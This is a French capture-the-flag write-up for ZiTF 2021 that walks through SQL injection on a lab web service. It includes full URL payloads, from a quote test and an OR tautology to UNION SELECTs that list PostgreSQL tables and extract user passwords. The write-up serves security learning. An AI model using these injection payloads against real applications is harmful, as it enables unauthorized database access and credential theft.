# WU | ZiTF 2021 - Feuille de données :
### Sur le site 192.168.20.3:3000 :
L'ip et le port du site Feuille sont ````192.168.20.3:3000````
On trouve une autre ip via le network de certaines images dans le Devtools : ```http://192.168.20.3:3333/team/```
On a donc la liste des membres de l’équipe affichés sur le site, sûrement via une requête SQL.
### Sur 192.168.20.3:3333 :
#### Tests SQLI
Après quelques essais d’URL (notons l’existence de ```http://192.168.20.3:3333/services/```) je commence à me renseigner sur les injections SQL.
Je teste de mettre des caractères basés sur une wordlist de mot provoquant des erreurs dans le retour serveur.
On voit que « ‘ » retourne une erreur ainsi on a ````http://192.168.20.3:3333/team/’```` qui nous indique une faille.
On test maintenant d’y rajouter des morceaux de SQL et de voir si ça marche sans erreurs.
J’en trouve un : ```http://192.168.20.3:3333/team/’ OR ‘x’=’x’--```
Maintenant il faut réfléchir à ce que je veux, un flag, sûrement dans une des autres tables de la base. On doit faire une UNION afin de récupérer le résultats d'autres tables.
#### Union
Notre base ```team``` comportant 5 colonnes j’essaye donc ```http://192.168.20.3:3333/team/’ UNION ALL SELECT 1,2,3,4,5--``` et j’obtiens une nouvelle erreur, les varchars ne se mélange pas avec les integers.
Je remplace donc les attributs varchar du SELECT par des ```NULL``` donc non typés on a :
```http://192.168.20.3:3333/team/’ UNION ALL SELECT 1, NULL, NULL, NULL, NULL --``` et un résultat affichant les ids.
On remarque que l’outil pour gérer les bases de données est PostGreSQL.
On cherche donc les tables communes de PostGreSQL et on trouve ```SELECT table_name FROM information_schema.tables```.
Ainsi pour faire l’UNION on se retrouve avec :
```http://192.168.20.3:3333/team/’ UNION ALL SELECT 1, table_name, NULL, NULL, NULL FROM information_schema.tables--.``` (on rajoute un ```.``` pour éviter le problème de parser).
Et on obtient la liste de toutes les tables de la base de données.
#### Deep Into the Database
On remarque une table ‘users’ qui donne peut-être accès à des droits admins.
On effectue la requête sur la table users avec des noms de colonne commun comme username,user,name.
```http://192.168.20.3:3333/team/’ UNION ALL SELECT 1, user, NULL, NULL, NULL FROM users```
On a un résultat, on cherche donc un mot de passe.
```http://192.168.20.3:3333/team/’ UNION ALL SELECT 1, user, password, NULL, NULL FROM users```
Et le mot de passe de l'utilisateur docker est le flag.